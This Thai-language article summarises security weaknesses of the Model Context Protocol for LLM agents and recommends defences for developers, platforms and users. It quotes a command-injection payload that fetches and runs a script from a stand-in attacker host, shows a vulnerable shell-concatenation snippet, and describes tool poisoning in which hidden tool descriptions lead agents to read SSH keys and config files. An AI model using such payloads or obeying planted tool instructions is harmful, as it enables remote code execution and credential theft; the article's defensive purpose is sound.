• Model Context Protocol (MCP) กำลังได้รับความสนใจในฐานะมาตรฐานสำหรับเชื่อมต่อเอเจนต์ LLM อย่าง Claude, GPT, Cursor เข้ากับเครื่องมือและข้อมูล แต่โมเดลความปลอดภัยพื้นฐานยังอ่อนแอ ทำให้การนำมาใช้อาจขยายพื้นผิวการโจมตีได้
  • แม้จะทำให้การเชื่อมต่อ API มาตรฐาน เซสชันต่อเนื่อง การรันคำสั่ง และการแชร์คอนเท็กซ์สะดวกขึ้น แต่การเชื่อมต่อกับเซิร์ฟเวอร์ใดๆ ก็อาจกลายเป็นเส้นทางอ้อมไปสู่ เชลล์·ซีเคร็ต·อินฟรา ได้
  • ในการทดสอบของ Equixly พบว่า มากกว่า 43% ของการติดตั้ง MCP server มีการเรียกเชลล์ที่ไม่ปลอดภัย และ Invariant Labs กล่าวถึง Tool Poisoning Attack ที่ซ่อนคำสั่งประสงค์ร้ายไว้ในคำอธิบายเครื่องมือ
  • MCP ยังขาดมาตรฐานการยืนยันตัวตน การเข้ารหัสคอนเท็กซ์ และการตรวจสอบความถูกต้องสมบูรณ์ของเครื่องมือ อีกทั้งผู้ใช้ยังมองเห็นคำสั่งเครื่องมือทั้งหมดที่เอเจนต์อ่านจริงได้ยาก
  • นักพัฒนาจำเป็นต้องตรวจสอบอินพุตและตรึงเวอร์ชัน แพลตฟอร์มควรแสดงเมทาดาทาและใช้แฮชตรวจสอบความถูกต้องสมบูรณ์ ส่วนผู้ใช้ต้องเฝ้าระวังการเชื่อมต่อเซิร์ฟเวอร์ใดๆ และการอัปเดตเครื่องมือที่ไม่คาดคิด

เหตุผลที่ MCP กลายเป็นพื้นผิวการโจมตี

  • MCP (Model Context Protocol) เป็นมาตรฐานใหม่สำหรับวิธีที่ LLM ผสานรวมกับเครื่องมือและข้อมูล และถูกเรียกว่า “USB-C สำหรับ AI agent”
  • เอเจนต์สามารถจัดการงานหลายอย่างผ่าน MCP ได้ในรูปแบบที่เป็นมาตรฐาน
    • เชื่อมต่อกับเครื่องมือผ่าน API มาตรฐาน
    • รักษาเซสชันต่อเนื่อง
    • รันคำสั่ง
    • แชร์คอนเท็กซ์ระหว่างเวิร์กโฟลว์
  • ปัญหาหลักคือ MCP ไม่มี โมเดลความปลอดภัยพื้นฐาน ให้มา
    • หากเชื่อมต่อเอเจนต์กับ MCP server ใดๆ ก็อาจเกิดไซด์แชนเนลไปสู่เชลล์ ซีเคร็ต และอินฟราได้

รูปแบบการโจมตีที่ถูกกล่าวถึงจริง

  • ช่องโหว่ Command Injection

    • ในการทดสอบของ Equixly พบว่า มากกว่า 43% ของการติดตั้ง MCP server มีการเรียกเชลล์ที่ไม่ปลอดภัย
    • โค้ดตัวอย่างผูกอินพุตผู้ใช้เข้ากับคำสั่งเชลล์โดยตรง เช่น os.system("notify-send " + notification_info['msg'])
    • หากผู้โจมตีใส่เพย์โหลดอย่าง "; curl evil.sh | bash" ลงในพารามิเตอร์ของเครื่องมือ MCP ก็อาจเกิดการรันโค้ดจากระยะไกลผ่านเอเจนต์ที่ได้รับความเชื่อถือ
  • Tool Poisoning Attack

    • การโจมตีที่ Invariant Labs กล่าวถึงคือการซ่อนคำสั่งประสงค์ร้ายไว้ใน คำอธิบายเครื่องมือ MCP
    • คำอธิบายนี้ผู้ใช้มองไม่เห็น แต่ AI จะเห็นโดยตรง
    • เครื่องมือตัวอย่างดูเหมือนฟังก์ชันบวกตัวเลขสองตัว แต่ในคำอธิบายมีคำสั่งให้อ่าน ~/.ssh/id_rsa และ ~/.cursor/mcp.json
    • เอเจนต์อย่าง Cursor อาจทำตามคำสั่งเหล่านี้ได้
  • Silent Redefinition

    • เครื่องมือ MCP สามารถเปลี่ยนนิยามของตัวเองหลังติดตั้งได้
    • แม้ผู้ใช้จะอนุมัติเครื่องมือที่ดูปลอดภัยในวันแรก แต่ภายหลังอาจถูกเปลี่ยนอย่างเงียบๆ ให้ส่ง API key ไปยังผู้โจมตี
    • สิ่งนี้มองได้ว่าเป็น ปัญหา supply chain ที่เข้ามาอยู่ภายใน LLM
  • Cross-Server Tool Shadowing

    • เมื่อมีหลายเซิร์ฟเวอร์เชื่อมต่อกับเอเจนต์เดียวกัน เซิร์ฟเวอร์ประสงค์ร้ายอาจเขียนทับหรือดักจับการเรียกที่มุ่งไปยังเซิร์ฟเวอร์ที่เชื่อถือได้
    • ผลลัพธ์ที่เป็นไปได้มีดังนี้
      • ส่งอีเมลที่ดูเหมือนส่งถึงผู้ใช้ไปยังผู้โจมตี
      • แทรกลอจิกลับในเครื่องมือที่ไม่เกี่ยวข้อง
      • เข้ารหัสการรั่วไหลของข้อมูลผ่านอาร์กิวเมนต์ที่สังเกตเห็นได้ยาก

กลไกความปลอดภัยที่ยังขาด และแนวทางรับมือแยกตามบทบาท

  • ลำดับความสำคัญปัจจุบันของ MCP ใกล้เคียงกับการผสานรวมที่ง่ายและอินเทอร์เฟซรวมศูนย์ โดยยังขาดฟีเจอร์ความปลอดภัยต่อไปนี้
    • ไม่มี มาตรฐานการยืนยันตัวตน
    • ไม่มีการเข้ารหัสคอนเท็กซ์
    • ไม่มีวิธีตรวจสอบความถูกต้องสมบูรณ์ของเครื่องมือ
  • ผู้ใช้ไม่สามารถตรวจสอบคำสั่งเครื่องมือทั้งหมดที่เอเจนต์เห็นได้ และไม่มีกลไกสำหรับยืนยันว่า “เครื่องมือนี้ไม่ได้ถูกดัดแปลง”
  • นักพัฒนา

    • ใช้การตรวจสอบอินพุต
    • ตรึงเวอร์ชันของ MCP server และเครื่องมือ
    • ปรับแต่งคำอธิบายเครื่องมือให้ปลอดภัย
  • ผู้สร้างแพลตฟอร์ม

    • แสดงเมทาดาทาของเครื่องมือทั้งหมด
    • ใช้ แฮชตรวจสอบความถูกต้องสมบูรณ์ สำหรับการอัปเดตเซิร์ฟเวอร์
    • บังคับใช้ความปลอดภัยของเซสชัน
  • ผู้ใช้

    • อย่าเชื่อมต่อกับเซิร์ฟเวอร์ใดๆ โดยไม่พิจารณา
    • มอนิเตอร์พฤติกรรมของเซสชันเหมือนกับ production log
    • เฝ้าระวังการอัปเดตเครื่องมือที่ไม่คาดคิด

แนวคิด ScanMCP.com

  • ScanMCP.com อาจมีสแกนเนอร์และแดชบอร์ดสำหรับ audit เครื่องมือ MCP ที่เชื่อมต่ออยู่
  • สิ่งที่แสดงอาจรวมถึง
    • ความเสี่ยงอย่าง RCE, tool poisoning, session leak
    • ความแตกต่างระหว่างข้อมูลที่ผู้ใช้เห็นกับ ข้อมูลที่เอเจนต์เห็น
  • กลุ่มเป้าหมายที่เหมาะสมคือทีมความปลอดภัยของแพลตฟอร์มเอเจนต์, สตาร์ทอัพด้านโครงสร้างพื้นฐาน AI และผู้สร้างเครื่องมืออิสระที่ให้ความสำคัญกับความเชื่อมั่น
  • MCP ทรงพลัง แต่จนกว่าจะมีโปรโตคอลความปลอดภัยพื้นฐานพร้อมใช้งาน ก็ยังจำเป็นต้องมีเครื่องมือที่ให้การมองเห็นและการควบคุม

ยังไม่มีความคิดเห็น

ยังไม่มีความคิดเห็น